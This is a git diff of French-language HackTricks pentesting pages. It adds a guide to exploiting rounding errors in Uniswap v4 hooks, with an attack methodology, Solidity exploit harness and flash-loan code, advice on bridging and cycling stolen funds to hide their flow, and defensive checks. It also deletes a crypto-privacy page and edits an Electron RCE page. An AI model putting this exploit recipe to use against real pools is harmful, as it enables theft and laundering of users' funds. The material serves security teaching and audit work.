dĂ©rive d'invariant. +- Les swaps peuvent ĂȘtre exactInput ou exactOutput. En v3/v4, le prix se dĂ©place le long des ticks ; franchir une limite de tick peut activer/dĂ©sactiver la liquidity de range. Les hooks peuvent implĂ©menter une logique additionnelle sur les franchissements de seuil/tick. + +## ArchĂ©type de vulnĂ©rabilitĂ© : dĂ©rive de prĂ©cision/arrondi au franchissement de seuil + +Un schĂ©ma typique vulnĂ©rable dans des hooks personnalisĂ©s : + +1. Le hook calcule des deltas de liquidity ou de balance par swap en utilisant des divisions entiĂšres, mulDiv, ou des conversions en virgule fixe (par ex., token ↔ liquidity utilisant sqrtPrice et des tick ranges). +2. Une logique de seuil (par ex., rebalancing, redistribution par paliers, ou activation par range) est dĂ©clenchĂ©e lorsque la taille du swap ou le mouvement de prix franchit une frontiĂšre interne. +3. L'arrondi est appliquĂ© de maniĂšre incohĂ©rente (par ex., troncature vers zĂ©ro, floor versus ceil) entre le calcul avant et le chemin de settlement. De petites divergences ne se compensent pas et crĂ©ditent plutĂŽt l'appelant. +4. Des swaps exact‑input, prĂ©cisĂ©ment calibrĂ©s pour chevaucher ces frontiĂšres, rĂ©coltent rĂ©pĂ©titivement le reste positif d'arrondi. L'attaquant retire ensuite le crĂ©dit accumulĂ©. + +Conditions prĂ©alables Ă  l'attaque +- Un pool utilisant un hook v4 personnalisĂ© qui effectue des calculs supplĂ©mentaires Ă  chaque swap (par ex., une LDF/rebalancer). +- Au moins un chemin d'exĂ©cution oĂč l'arrondi avantage l'initiateur du swap lors des franchissements de seuil. +- CapacitĂ© Ă  rĂ©pĂ©ter de nombreux swaps de maniĂšre atomique (les flash loans sont idĂ©aux pour fournir la trĂ©sorerie temporaire et amortir le gas). + +## MĂ©thodologie pratique d'attaque + +1) Identifier les pools candidats avec hooks +- ÉnumĂ©rer les pools v4 et vĂ©rifier PoolKey.hooks != address(0). +- Inspecter le bytecode/ABI du hook pour les callbacks : beforeSwap/afterSwap et toute mĂ©thode de rebalancing personnalisĂ©e. +- Chercher des mathĂ©matiques qui : divisent par liquidity, convertissent entre token et liquidity, ou agrĂšgent BalanceDelta avec arrondi. + +2) ModĂ©liser les mathĂ©matiques et seuils du hook +- RecrĂ©er la formule de liquidity/redistribution du hook : les entrĂ©es incluent typiquement sqrtPriceX96, tickLower/Upper, currentTick, fee tier, et net liquidity. +- Cartographier les fonctions de seuil/paliers : ticks, frontiĂšres de buckets, ou breakpoints LDF. DĂ©terminer de quel cĂŽtĂ© de chaque frontiĂšre le delta est arrondi. +- Identifier oĂč les conversions castent entre uint256/int256, utilisent SafeCast, ou reposent sur mulDiv avec floor implicite. + +3) Calibrer des swaps exact‑input pour franchir les frontiĂšres +- Utiliser Foundry/Hardhat simulations pour calculer le Δin minimal nĂ©cessaire pour dĂ©placer le prix juste au‑delĂ  d'une frontiĂšre et dĂ©clencher la branche du hook. +- VĂ©rifier qu'aprĂšs le settlement du swap, l'appelant est crĂ©ditĂ© de plus que le coĂ»t, laissant un BalanceDelta ou un crĂ©dit positif dans la comptabilitĂ© du hook. +- RĂ©pĂ©ter les swaps pour accumuler le crĂ©dit ; puis appeler le chemin de retrait/settlement du hook. + +Example Foundry‑style test harness (pseudocode) +```solidity +function test_precision_rounding_abuse() public { +// 1) Arrange: set up pool with hook +PoolKey memory key = PoolKey({ +currency0: USDC, +currency1: USDT, +fee: 500, // 0.05% +tickSpacing: 10, +hooks: address(bunniHook) +}); +pm.initialize(key, initialSqrtPriceX96); + +// 2) Determine a boundary‑crossing exactInput +uint256 exactIn = calibrateToCrossThreshold(key, targetTickBoundary); + +// 3) Loop swaps to accrue rounding credit +for (uint i; i < N; ++i) { +pm.swap( +key, +IPoolManager.SwapParams({ +zeroForOne: true, +amountSpecified: int256(exactIn), // exactInput +sqrtPriceLimitX96: 0 // allow tick crossing +}), +"" +); +} + +// 4) Realize inflated credit via hook‑exposed withdrawal +bunniHook.withdrawCredits(msg.sender); +} +``` +Calibrer l'exactInput +- Calculer ΔsqrtP pour un pas de tick : sqrtP_next = sqrtP_current × 1.0001^(Δtick). +- Approximer Δin en utilisant les formules v3/v4 : Δx ≈ L × (ΔsqrtP / (sqrtP_next × sqrtP_current)). Veiller Ă  ce que le sens d'arrondi corresponde aux calculs fondamentaux. +- Ajuster Δin de ±1 wei autour de la frontiĂšre pour trouver la branche oĂč le hook arrondit en votre faveur. + +4) Amplify with flash loans +- Emprunter un montant important (p. ex., 3M USDT ou 2000 WETH) pour exĂ©cuter de nombreuses itĂ©rations atomiquement. +- ExĂ©cuter la boucle de swap calibrĂ©e, puis withdraw et repay dans la callback du flash loan. + +Aave V3 flash loan skeleton +```solidity +function executeOperation( +address[] calldata assets, +uint256[] calldata amounts, +uint256[] calldata premiums, +address initiator, +bytes calldata params +) external returns (bool) { +// run threshold‑crossing swap loop here +for (uint i; i < N; ++i) { +_exactInBoundaryCrossingSwap(); +} +// realize credits / withdraw inflated balances +bunniHook.withdrawCredits(address(this)); +// repay +for (uint j; j < assets.length; ++j) { +IERC20(assets[j]).approve(address(POOL), amounts[j] + premiums[j]); +} +return true; +} +``` +5) Sortie et rĂ©plication inter‑chaĂźnes +- Si des hooks sont dĂ©ployĂ©s sur plusieurs chaĂźnes, rĂ©pĂ©tez la mĂȘme calibration par chaĂźne. +- On utilise un bridge pour renvoyer les fonds vers la chaĂźne cible et, optionnellement, on effectue des cycles via des protocoles de prĂȘt pour obfusquer les flux. + +## Common root causes in hook math + +- Mixed rounding semantics: mulDiv floors while later paths effectively round up; or conversions between token/liquidity apply different rounding. +- Tick alignment errors: using unrounded ticks in one path and tick‑spaced rounding in another. +- BalanceDelta sign/overflow issues when converting between int256 and uint256 during settlement. +- Precision loss in Q64.96 conversions (sqrtPriceX96) not mirrored in reverse mapping. +- Accumulation pathways: per‑swap remainders tracked as credits that are withdrawable by the caller instead of being burned/zero‑sum. + +## Defensive guidance + +- Differential testing: mirror the hook’s math vs a reference implementation using high‑precision rational arithmetic and assert equality or bounded error that is always adversarial (never favorable to caller). +- Invariant/property tests: +- Sum of deltas (tokens, liquidity) across swap paths and hook adjustments must conserve value modulo fees. +- No path should create positive net credit for the swap initiator over repeated exactInput iterations. +- Threshold/tick boundary tests around ±1 wei inputs for both exactInput/exactOutput. +- Rounding policy: centralize rounding helpers that always round against the user; eliminate inconsistent casts and implicit floors. +- Settlement sinks: accumulate unavoidable rounding residue to protocol treasury or burn it; never attribute to msg.sender. +- Rate‑limits/guardrails: minimum swap sizes for rebalancing triggers; disable rebalances if deltas are sub‑wei; sanity‑check deltas against expected ranges. +- Review hook callbacks holistically: beforeSwap/afterSwap and before/after liquidity changes should agree on tick alignment and delta rounding. + +## Case study: Bunni V2 (2025‑09‑02) + +- Protocol: Bunni V2 (Uniswap v4 hook) with an LDF applied per swap to rebalance. +- Root cause: rounding/precision error in LDF liquidity accounting during threshold‑crossing swaps; per‑swap discrepancies accrued as positive credits for the caller. +- Ethereum leg: attacker took a ~3M USDT flash loan, performed calibrated exact‑input swaps on USDC/USDT to build credits, withdrew inflated balances, repaid, and routed funds via Aave. +- UniChain leg: repeated the exploit with a 2000 WETH flash loan, siphoning ~1366 WETH and transferring the funds via a bridge to Ethereum. +- Impact: ~USD 8.3M drained across chains. No user interaction required; entirely on‑chain. + +## Hunting checklist + +- Does the pool use a non‑zero hooks address? Which callbacks are enabled? +- Are there per‑swap redistributions/rebalances using custom math? Any tick/threshold logic? +- Where are divisions/mulDiv, Q64.96 conversions, or SafeCast used? Are rounding semantics globally consistent? +- Can you construct Δin that barely crosses a boundary and yields a favorable rounding branch? Test both directions and both exactInput and exactOutput. +- Does the hook track per‑caller credits or deltas that can be withdrawn later? Ensure residue is neutralized. + +## References + +- [Bunni V2 Exploit: $8.3M Drained via Liquidity Flaw (summary)](https://quillaudits.medium.com/bunni-v2-exploit-8-3m-drained-50acbdcd9e7b) +- [Bunni V2 Exploit: Full Hack Analysis](https://www.quillaudits.com/blog/hack-analysis/bunni-v2-exploit) +- [Uniswap v4 background (QuillAudits research)](https://www.quillaudits.com/research/uniswap-development) +- [Liquidity mechanics in Uniswap v4 core](https://www.quillaudits.com/research/uniswap-development/uniswap-v4/liquidity-mechanics-in-uniswap-v4-core) +- [Swap mechanics in Uniswap v4 core](https://www.quillaudits.com/research/uniswap-development/uniswap-v4/swap-mechanics-in-uniswap-v4-core) +- [Uniswap v4 Hooks and Security Considerations](https://www.quillaudits.com/research/uniswap-development/uniswap-v4/uniswap-v4-hooks-and-security) + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/crypto-and-stego/blockchain-and-crypto-currencies.md b/src/crypto-and-stego/blockchain-and-crypto-currencies.md deleted file mode 100644 index 1221a1faa..000000000 --- a/src/crypto-and-stego/blockchain-and-crypto-currencies.md +++ /dev/null @@ -1,182 +0,0 @@ -{{#include ../banners/hacktricks-training.md}} - -## Concepts de base - -- **Smart Contracts** sont dĂ©finis comme des programmes qui s'exĂ©cutent sur une blockchain lorsque certaines conditions sont remplies, automatisant l'exĂ©cution des accords sans intermĂ©diaires. -- **Decentralized Applications (dApps)** s'appuient sur des smart contracts, prĂ©sentant une interface conviviale et un back-end transparent et auditable. -- **Tokens & Coins** diffĂ©rencient oĂč les coins servent de monnaie numĂ©rique, tandis que les tokens reprĂ©sentent une valeur ou une propriĂ©tĂ© dans des contextes spĂ©cifiques. -- **Utility Tokens** donnent accĂšs Ă  des services, et **Security Tokens** signifient la propriĂ©tĂ© d'actifs. -- **DeFi** signifie Finance DĂ©centralisĂ©e, offrant des services financiers sans autoritĂ©s centrales. -- **DEX** et **DAOs** font rĂ©fĂ©rence aux plateformes d'Ă©change dĂ©centralisĂ©es et aux organisations autonomes dĂ©centralisĂ©es, respectivement. - -## MĂ©canismes de consensus - -Les mĂ©canismes de consensus garantissent des validations de transactions sĂ©curisĂ©es et convenues sur la blockchain : - -- **Proof of Work (PoW)** repose sur la puissance de calcul pour la vĂ©rification des transactions. -- **Proof of Stake (PoS)** exige que les validateurs dĂ©tiennent un certain montant de tokens, rĂ©duisant la consommation d'Ă©nergie par rapport au PoW. - -## Essentiels de Bitcoin - -### Transactions - -Les transactions Bitcoin impliquent le transfert de fonds entre adresses. Les transactions sont validĂ©es par des signatures numĂ©riques, garantissant que seul le propriĂ©taire de la clĂ© privĂ©e peut initier des transferts. - -#### Composants clĂ©s : - -- **Multisignature Transactions** nĂ©cessitent plusieurs signatures pour autoriser une transaction. -- Les transactions se composent de **inputs** (source de fonds), **outputs** (destination), **fees** (payĂ©es aux mineurs) et **scripts** (rĂšgles de transaction). - -### Lightning Network - -Vise Ă  amĂ©liorer la scalabilitĂ© de Bitcoin en permettant plusieurs transactions au sein d'un canal, ne diffusant l'Ă©tat final que sur la blockchain. - -## PrĂ©occupations en matiĂšre de confidentialitĂ© de Bitcoin - -Les attaques sur la vie privĂ©e, telles que **Common Input Ownership** et **UTXO Change Address Detection**, exploitent les modĂšles de transaction. Des stratĂ©gies comme **Mixers** et **CoinJoin** amĂ©liorent l'anonymat en obscurcissant les liens de transaction entre les utilisateurs. - -## Acquisition de Bitcoins de maniĂšre anonyme - -Les mĂ©thodes incluent les Ă©changes en espĂšces, le minage et l'utilisation de mixers. **CoinJoin** mĂ©lange plusieurs transactions pour compliquer la traçabilitĂ©, tandis que **PayJoin** dissimule les CoinJoins en tant que transactions rĂ©guliĂšres pour une confidentialitĂ© accrue. - -# Attaques sur la vie privĂ©e de Bitcoin - -# RĂ©sumĂ© des attaques sur la vie privĂ©e de Bitcoin - -Dans le monde de Bitcoin, la confidentialitĂ© des transactions et l'anonymat des utilisateurs sont souvent des sujets de prĂ©occupation. Voici un aperçu simplifiĂ© de plusieurs mĂ©thodes courantes par lesquelles les attaquants peuvent compromettre la vie privĂ©e de Bitcoin. - -## **HypothĂšse de propriĂ©tĂ© d'entrĂ©e commune** - -Il est gĂ©nĂ©ralement rare que des entrĂ©es de diffĂ©rents utilisateurs soient combinĂ©es dans une seule transaction en raison de la complexitĂ© impliquĂ©e. Ainsi, **deux adresses d'entrĂ©e dans la mĂȘme transaction sont souvent supposĂ©es appartenir au mĂȘme propriĂ©taire**. - -## **DĂ©tection d'adresse de changement UTXO** - -Un UTXO, ou **Unspent Transaction Output**, doit ĂȘtre entiĂšrement dĂ©pensĂ© dans une transaction. Si seule une partie est envoyĂ©e Ă  une autre adresse, le reste va Ă  une nouvelle adresse de changement. Les observateurs peuvent supposer que cette nouvelle adresse appartient Ă  l'expĂ©diteur, compromettant ainsi la vie privĂ©e. - -### Exemple - -Pour attĂ©nuer cela, les services de mixage ou l'utilisation de plusieurs adresses peuvent aider Ă  obscurcir la propriĂ©tĂ©. - -## **Exposition sur les rĂ©seaux sociaux et forums** - -Les utilisateurs partagent parfois leurs adresses Bitcoin en ligne, rendant **facile de lier l'adresse Ă  son propriĂ©taire**. - -## **Analyse des graphes de transactions** - -Les transactions peuvent ĂȘtre visualisĂ©es sous forme de graphes, rĂ©vĂ©lant des connexions potentielles entre les utilisateurs en fonction du flux de fonds. - -## **Heuristique d'entrĂ©e inutile (Heuristique de changement optimal)** - -Cette heuristique est basĂ©e sur l'analyse des transactions avec plusieurs entrĂ©es et sorties pour deviner quelle sortie est le changement retournant Ă  l'expĂ©diteur. - -### Exemple -```bash -2 btc --> 4 btc -3 btc 1 btc -``` -Si l'ajout de plus d'entrĂ©es rend la sortie de changement plus grande que n'importe quelle entrĂ©e unique, cela peut confondre l'heuristique. - -## **RĂ©utilisation forcĂ©e d'adresse** - -Les attaquants peuvent envoyer de petites sommes Ă  des adresses prĂ©cĂ©demment utilisĂ©es, espĂ©rant que le destinataire les combine avec d'autres entrĂ©es dans de futures transactions, reliant ainsi les adresses ensemble. - -### Comportement correct du portefeuille - -Les portefeuilles devraient Ă©viter d'utiliser des piĂšces reçues sur des adresses dĂ©jĂ  utilisĂ©es et vides pour prĂ©venir cette fuite de confidentialitĂ©. - -## **Autres techniques d'analyse de blockchain** - -- **Montants de paiement exacts :** Les transactions sans changement sont probablement entre deux adresses appartenant au mĂȘme utilisateur. -- **Nombres ronds :** Un nombre rond dans une transaction suggĂšre qu'il s'agit d'un paiement, avec la sortie non ronde Ă©tant probablement le changement. -- **Empreinte de portefeuille :** DiffĂ©rents portefeuilles ont des modĂšles de crĂ©ation de transactions uniques, permettant aux analystes d'identifier le logiciel utilisĂ© et potentiellement l'adresse de changement. -- **CorrĂ©lations de montant et de timing :** La divulgation des heures ou des montants de transaction peut rendre les transactions traçables. - -## **Analyse de trafic** - -En surveillant le trafic rĂ©seau, les attaquants peuvent potentiellement lier des transactions ou des blocs Ă  des adresses IP, compromettant ainsi la confidentialitĂ© des utilisateurs. Cela est particuliĂšrement vrai si une entitĂ© opĂšre de nombreux nƓuds Bitcoin, amĂ©liorant sa capacitĂ© Ă  surveiller les transactions. - -## Plus - -Pour une liste complĂšte des attaques sur la vie privĂ©e et des dĂ©fenses, visitez [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy). - -# Transactions Bitcoin anonymes - -## Façons d'obtenir des Bitcoins anonymement - -- **Transactions en espĂšces :** AcquĂ©rir des bitcoins par le biais d'espĂšces. -- **Alternatives en espĂšces :** Acheter des cartes-cadeaux et les Ă©changer en ligne contre des bitcoins. -- **Minage :** La mĂ©thode la plus privĂ©e pour gagner des bitcoins est le minage, surtout lorsqu'il est effectuĂ© seul, car les pools de minage peuvent connaĂźtre l'adresse IP du mineur. [Informations sur les pools de minage](https://en.bitcoin.it/wiki/Pooled_mining) -- **Vol :** ThĂ©oriquement, voler des bitcoins pourrait ĂȘtre une autre mĂ©thode pour les acquĂ©rir anonymement, bien que cela soit illĂ©gal et non recommandĂ©. - -## Services de mĂ©lange - -En utilisant un service de mĂ©lange, un utilisateur peut **envoyer des bitcoins** et recevoir **des bitcoins diffĂ©rents en retour**, ce qui rend difficile la traçabilitĂ© du propriĂ©taire d'origine. Cependant, cela nĂ©cessite de faire confiance au service pour ne pas conserver de journaux et pour rĂ©ellement retourner les bitcoins. Des options de mĂ©lange alternatives incluent les casinos Bitcoin. - -## CoinJoin - -**CoinJoin** fusionne plusieurs transactions de diffĂ©rents utilisateurs en une seule, compliquant le processus pour quiconque essaie de faire correspondre les entrĂ©es avec les sorties. MalgrĂ© son efficacitĂ©, les transactions avec des tailles d'entrĂ©e et de sortie uniques peuvent encore potentiellement ĂȘtre tracĂ©es. - -Des transactions d'exemple qui ont pu utiliser CoinJoin incluent `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` et `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`. - -Pour plus d'informations, visitez [CoinJoin](https://coinjoin.io/en). Pour un service similaire sur Ethereum, consultez [Tornado Cash](https://tornado.cash), qui anonymise les transactions avec des fonds provenant de mineurs. - -## PayJoin - -Une variante de CoinJoin, **PayJoin** (ou P2EP), dissimule la transaction entre deux parties (par exemple, un client et un commerçant) comme une transaction ordinaire, sans les caractĂ©ristiques distinctives de sorties Ă©gales de CoinJoin. Cela rend extrĂȘmement difficile la dĂ©tection et pourrait invalider l'heuristique de propriĂ©tĂ© d'entrĂ©e commune utilisĂ©e par les entitĂ©s de surveillance des transactions. -```plaintext -2 btc --> 3 btc -5 btc 4 btc -``` -Les transactions comme celles-ci pourraient ĂȘtre des PayJoin, amĂ©liorant la confidentialitĂ© tout en restant indiscernables des transactions bitcoin standard. - -**L'utilisation de PayJoin pourrait perturber considĂ©rablement les mĂ©thodes de surveillance traditionnelles**, en faisant un dĂ©veloppement prometteur dans la quĂȘte de la confidentialitĂ© transactionnelle. - -# Meilleures pratiques pour la confidentialitĂ© dans les cryptomonnaies - -## **Techniques de synchronisation des portefeuilles** - -Pour maintenir la confidentialitĂ© et la sĂ©curitĂ©, la synchronisation des portefeuilles avec la blockchain est cruciale. Deux mĂ©thodes se distinguent : - -- **NƓud complet** : En tĂ©lĂ©chargeant l'intĂ©gralitĂ© de la blockchain, un nƓud complet garantit une confidentialitĂ© maximale. Toutes les transactions jamais effectuĂ©es sont stockĂ©es localement, rendant impossible pour les adversaires d'identifier quelles transactions ou adresses intĂ©ressent l'utilisateur. -- **Filtrage de blocs cĂŽtĂ© client** : Cette mĂ©thode consiste Ă  crĂ©er des filtres pour chaque bloc de la blockchain, permettant aux portefeuilles d'identifier les transactions pertinentes sans exposer d'intĂ©rĂȘts spĂ©cifiques aux observateurs du rĂ©seau. Les portefeuilles lĂ©gers tĂ©lĂ©chargent ces filtres, ne rĂ©cupĂ©rant des blocs complets que lorsqu'un match avec les adresses de l'utilisateur est trouvĂ©. - -## **Utilisation de Tor pour l'anonymat** - -Étant donnĂ© que Bitcoin fonctionne sur un rĂ©seau pair-Ă -pair, il est recommandĂ© d'utiliser Tor pour masquer votre adresse IP, amĂ©liorant la confidentialitĂ© lors de l'interaction avec le rĂ©seau. - -## **PrĂ©vention de la rĂ©utilisation des adresses** - -Pour protĂ©ger la confidentialitĂ©, il est vital d'utiliser une nouvelle adresse pour chaque transaction. La rĂ©utilisation des adresses peut compromettre la confidentialitĂ© en liant les transactions Ă  la mĂȘme entitĂ©. Les portefeuilles modernes dĂ©couragent la rĂ©utilisation des adresses par leur conception. - -## **StratĂ©gies pour la confidentialitĂ© des transactions** - -- **Multiples transactions** : Diviser un paiement en plusieurs transactions peut obscurcir le montant de la transaction, contrecarrant les attaques sur la confidentialitĂ©. -- **Évitement du changement** : Opter pour des transactions qui ne nĂ©cessitent pas de sorties de changement amĂ©liore la confidentialitĂ© en perturbant les mĂ©thodes de dĂ©tection du changement. -- **Multiples sorties de changement** : Si Ă©viter le changement n'est pas faisable, gĂ©nĂ©rer plusieurs sorties de changement peut nĂ©anmoins amĂ©liorer la confidentialitĂ©. - -# **Monero : Un phare d'anonymat** - -Monero rĂ©pond au besoin d'anonymat absolu dans les transactions numĂ©riques, Ă©tablissant une norme Ă©levĂ©e pour la confidentialitĂ©. - -# **Ethereum : Gaz et transactions** - -## **Comprendre le gaz** - -Le gaz mesure l'effort computationnel nĂ©cessaire pour exĂ©cuter des opĂ©rations sur Ethereum, tarifĂ© en **gwei**. Par exemple, une transaction coĂ»tant 2,310,000 gwei (ou 0.00231 ETH) implique une limite de gaz et un frais de base, avec un pourboire pour inciter les mineurs. Les utilisateurs peuvent dĂ©finir un frais maximum pour s'assurer de ne pas trop payer, l'excĂ©dent Ă©tant remboursĂ©. - -## **ExĂ©cution des transactions** - -Les transactions sur Ethereum impliquent un expĂ©diteur et un destinataire, qui peuvent ĂȘtre soit des adresses d'utilisateur, soit des adresses de contrat intelligent. Elles nĂ©cessitent un frais et doivent ĂȘtre minĂ©es. Les informations essentielles dans une transaction incluent le destinataire, la signature de l'expĂ©diteur, la valeur, des donnĂ©es optionnelles, la limite de gaz et les frais. Notamment, l'adresse de l'expĂ©diteur est dĂ©duite de la signature, Ă©liminant le besoin de celle-ci dans les donnĂ©es de la transaction. - -Ces pratiques et mĂ©canismes sont fondamentaux pour quiconque cherchant Ă  s'engager avec les cryptomonnaies tout en priorisant la confidentialitĂ© et la sĂ©curitĂ©. - -## RĂ©fĂ©rences - -- [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake) -- [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/) -- [https://bitcoin.stackexchange.com/questions/3718/what-are-multi-signature-transactions](https://bitcoin.stackexchange.com/questions/3718/what-are-multi-signature-transactions) -- [https://ethereum.org/en/developers/docs/transactions/](https://ethereum.org/en/developers/docs/transactions/) -- [https://ethereum.org/en/developers/docs/gas/](https://ethereum.org/en/developers/docs/gas/) -- [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced_address_reuse) - -{{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md index ab0e304f1..232cfecd4 100644 --- a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md +++ b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md @@ -4,27 +4,27 @@ ## Introduction -Electron combine un backend local (avec **NodeJS**) et un frontend (**Chromium**), bien qu'il lui manque certains mĂ©canismes de sĂ©curitĂ© des navigateurs modernes. +Electron combine un backend local (avec **NodeJS**) et un frontend (**Chromium**), bien qu'il lui manque certains des mĂ©canismes de sĂ©curitĂ© des navigateurs modernes. -D'habitude, vous pouvez trouver le code de l'application Electron Ă  l'intĂ©rieur d'une application `.asar`. Pour obtenir le code, vous devez l'extraire : +Vous trouverez gĂ©nĂ©ralement le code de l'application Electron Ă  l'intĂ©rieur d'un fichier `.asar` ; pour obtenir le code, vous devez l'extraire : ```bash npx asar extract app.asar destfolder #Extract everything npx asar extract-file app.asar main.js #Extract just a file ``` -Dans le code source d'une application Electron, Ă  l'intĂ©rieur de `packet.json`, vous pouvez trouver spĂ©cifiĂ© le fichier `main.js` oĂč les configurations de sĂ©curitĂ© sont dĂ©finies. +Dans le code source d'une application Electron, Ă  l'intĂ©rieur de `packet.json`, vous pouvez trouver spĂ©cifiĂ© le fichier `main.js` oĂč sont dĂ©finies les configurations de sĂ©curitĂ©. ```json { "name": "standard-notes", "main": "./app/index.js", ``` -Electron a 2 types de processus : +Electron possĂšde 2 types de processus : -- Main Process (a un accĂšs complet Ă  NodeJS) -- Renderer Process (devrait avoir un accĂšs NodeJS restreint pour des raisons de sĂ©curitĂ©) +- Processus principal (a un accĂšs complet Ă  NodeJS) +- Processus de rendu (devrait avoir un accĂšs restreint Ă  NodeJS pour des raisons de sĂ©curitĂ©) ![](<../../../images/image (182).png>) -Un **renderer process** sera une fenĂȘtre de navigateur chargeant un fichier : +Un **processus de rendu** sera une fenĂȘtre de navigateur chargeant un fichier : ```javascript const { BrowserWindow } = require("electron") let win = new BrowserWindow() @@ -32,20 +32,20 @@ let win = new BrowserWindow() //Open Renderer Process win.loadURL(`file://path/to/index.html`) ``` -Les paramĂštres du **processus de rendu** peuvent ĂȘtre **configurĂ©s** dans le **processus principal** Ă  l'intĂ©rieur du fichier main.js. Certaines des configurations permettront d'**empĂȘcher l'application Electron d'obtenir un RCE** ou d'autres vulnĂ©rabilitĂ©s si les **paramĂštres sont correctement configurĂ©s**. +Les paramĂštres du **renderer process** peuvent ĂȘtre **configurĂ©s** dans le **main process** Ă  l'intĂ©rieur du fichier main.js. Certaines configurations permettront d'**empĂȘcher l'application Electron d'obtenir une RCE** ou d'autres vulnĂ©rabilitĂ©s si les **paramĂštres sont correctement configurĂ©s**. -L'application electron **pourrait accĂ©der Ă  l'appareil** via les Node apis bien qu'il soit possible de la configurer pour l'en empĂȘcher : +L'application Electron **pourrait accĂ©der Ă  l'appareil** via Node apis bien qu'elle puisse ĂȘtre configurĂ©e pour l'en empĂȘcher : -- **`nodeIntegration`** - est `off` par dĂ©faut. Si `on`, permet d'accĂ©der aux fonctionnalitĂ©s de Node depuis le processus de rendu. -- **`contextIsolation`** - est `on` par dĂ©faut. Si `off`, les processus principal et de rendu ne sont pas isolĂ©s. +- **`nodeIntegration`** - est `off` par dĂ©faut. Si on, permet d'accĂ©der aux fonctionnalitĂ©s de Node depuis le renderer process. +- **`contextIsolation`** - est `on` par dĂ©faut. Si off, main and renderer processes ne sont pas isolĂ©s. - **`preload`** - vide par dĂ©faut. -- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - est `off` par dĂ©faut. Il restreindra les actions que NodeJS peut effectuer. +- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - est off par dĂ©faut. Il restreindra les actions que NodeJS peut effectuer. - Node Integration in Workers -- **`nodeIntegrationInSubframes`** - est `off` par dĂ©faut. -- Si **`nodeIntegration`** est **enabled**, cela permettrait l'utilisation des **Node.js APIs** dans des pages web **chargĂ©es dans des iframes** au sein d'une application Electron. -- Si **`nodeIntegration`** est **disabled**, alors les preloads se chargeront dans l'iframe +- **`nodeIntegrationInSubframes`**- est `off` par dĂ©faut. +- Si **`nodeIntegration`** est **activĂ©**, cela permettrait l'utilisation des **Node.js APIs** dans des pages web **chargĂ©es dans des iframes** au sein d'une application Electron. +- Si **`nodeIntegration`** est **dĂ©sactivĂ©**, alors les preloads se chargeront dans l'iframe -Exemple de configuration: +Example of configuration: ```javascript const mainWindowOptions = { title: "Discord", @@ -71,7 +71,7 @@ spellcheck: true, }, } ``` -Quelques **RCE payloads** depuis [here](https://7as.es/electron/nodeIntegration_rce.txt): +Quelques **RCE payloads** de [here](https://7as.es/electron/nodeIntegration_rce.txt): ```html Example Payloads (Windows): ``` ### Capturer le trafic -Modifiez la configuration start-main et ajoutez l'utilisation d'un proxy tel que : +Modifiez la configuration start-main et ajoutez l'utilisation d'un proxy tel que: ```javascript "start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors", ``` ## Electron Local Code Injection -Si vous pouvez exĂ©cuter localement une Electron App, il est possible de lui faire exĂ©cuter du code javascript arbitraire. Regardez comment dans : +Si vous pouvez exĂ©cuter localement une Electron App, il est possible que vous puissiez lui faire exĂ©cuter du code JavaScript arbitraire. Consultez comment dans : + {{#ref}} ../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md @@ -111,7 +112,7 @@ Si vous pouvez exĂ©cuter localement une Electron App, il est possible de lui fai ## RCE: XSS + nodeIntegration -Si la **nodeIntegration** est rĂ©glĂ©e sur **on**, le JavaScript d'une page web peut utiliser facilement les fonctionnalitĂ©s de Node.js simplement en appelant `require()`. Par exemple, la façon d'exĂ©cuter l'application calc sur Windows est : +Si la **nodeIntegration** est rĂ©glĂ©e sur **on**, le JavaScript d'une page web peut utiliser facilement les fonctionnalitĂ©s de Node.js simplement en appelant `require()`. Par exemple, la maniĂšre d'exĂ©cuter l'application calc sous Windows est : ```html ``` -> [!NOTE] > **Si `contextIsolation` est activĂ©, ceci ne fonctionnera pas** +> [!NOTE] > **Si `contextIsolation` est activĂ©, cela ne fonctionnera pas** ## RCE: XSS + contextIsolation @@ -157,7 +158,7 @@ Le _**contextIsolation**_ introduit des **contextes sĂ©parĂ©s entre les scripts Si les contextes ne sont pas isolĂ©s, un attaquant peut : 1. ExĂ©cuter **arbitrary JavaScript in renderer** (XSS ou navigation vers des sites externes) -2. **Écraser la mĂ©thode built-in** qui est utilisĂ©e dans preload ou le code interne d'Electron pour prendre le contrĂŽle d'une fonction +2. Remplacer la **mĂ©thode intĂ©grĂ©e** utilisĂ©e dans le preload ou dans le code interne d'Electron pour en prendre le contrĂŽle 3. **DĂ©clencher** l'utilisation de la **fonction Ă©crasĂ©e** 4. RCE? @@ -178,9 +179,9 @@ electron-contextisolation-rce-via-electron-internal-code.md electron-contextisolation-rce-via-ipc.md {{#endref}} -### Contourner l'Ă©vĂ©nement de click +### Contourner l'Ă©vĂ©nement de clic -S'il y a des restrictions appliquĂ©es lorsque vous cliquez sur un lien, vous pouvez peut-ĂȘtre les contourner **en effectuant un clic du milieu** au lieu d'un clic gauche classique. +Si des restrictions sont appliquĂ©es lorsque vous cliquez sur un lien, vous pouvez peut-ĂȘtre les contourner en **effectuant un clic du milieu** au lieu d'un clic gauche classique. ```javascript window.addEventListener('click', (e) => { ``` @@ -188,26 +189,26 @@ window.addEventListener('click', (e) => { Pour plus d'informations sur ces exemples, consultez [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) et [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/) -Lors du dĂ©ploiement 